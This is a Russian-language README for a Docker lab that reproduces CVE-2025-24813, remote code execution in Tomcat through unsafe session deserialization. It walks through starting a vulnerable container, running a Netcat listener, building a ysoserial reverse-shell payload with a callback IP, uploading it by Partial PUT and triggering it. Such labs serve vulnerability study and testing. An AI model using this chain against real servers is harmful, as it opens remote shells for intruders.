
Session Exploit
🧪 Лаборатория CVE-2025-24813 Tomcat RCE (Docker + ysoserial)
В этой лабораторной работе демонстрируется удалённое выполнение кода через небезопасную десериализацию Java в приложении на Tomcat, которое обрабатывает сериализованные файлы сессий. Полное окружение запускается в Docker с кастомным пейлоудом reverse shell, доставляемым через HTTP-запрос Partial PUT.
📁 Структура каталогов
.
├── 0-run-tomcat.sh # Сборка + запуск уязвимого контейнера Tomcat
├── 1-generate-revshell.sh # Запуск слушателя Netcat для reverse shell
├── 2-generate-payload.sh # Генерация пейлоуда reverse shell через ysoserial
├── 3-upload-file.sh # Загрузка сериализованного пейлоуда через Partial PUT
├── 4-exploit.sh # Активация эндпоинта десериализации
├── readme.md # Этот файл
├── source.sh # Задаёт CALLBACK_IP, LISTENER_PORT и т.д.
├── dummy-app/
│ ├── src/
│ │ └── main/java/com/example/DeserializeServlet.java
│ ├── pom.xml
│ └── Dockerfile
⚙️ Предварительные требования
Установите Java и Netcat:
brew install openjdk netcat
Убедитесь, что используется JDK 11+ и разрешён доступ к модулям через --add-opens.
🧨 Последовательность эксплуатации
CommonsBeanutils1)🧪 Использование
bash 0-run-tomcat.sh
Создайте файл source.sh подобного содержания:
export CALLBACK_IP="your.lan.ip"
export LISTENER_PORT=4444
export PAYLOAD_FILE="rev_shell.ser"
export TARGET_URL="http://localhost:8080/xxx-api/gopan.session"
export CHUNK_SIZE=100
Затем выполните его:
source source.sh
В отдельном терминале:
bash 1-generate-revshell.sh
Эта команда запускает:
nc -lnvp 4444
bash 2-generate-payload.sh
Будет выполнено:
ysoserial.jar при необходимостиCommonsBeanutils1 с reverse shellrev_shell.serbash 3-upload-file.sh
Этот скрипт выполняет загрузку HTTP Partial PUT по частям с использованием заголовков Content-Range.
bash 4-exploit.sh
Запрос отправляется на:
http://localhost:8080/xxx-api/profile
Этот эндпоинт десериализует загруженный файл и выполняет пейлоуд.
✅ Вы получите reverse shell в терминале с Netcat!
🔍 Отладка
Внутри контейнера:
docker exec -it vulnerable-tomcat bash
cd /usr/local/tomcat/webapps/xxx-api/
ls -l
Проверьте, существует ли файл /tmp/beanutils-worked при тестировании с безопасным пейлоудом.
💡 Примечания
--add-opens для обхода ограничений модулей в Java 11+/bin/bash (попробуйте /bin/sh)touch /tmp/rce-worked🧱 Основано на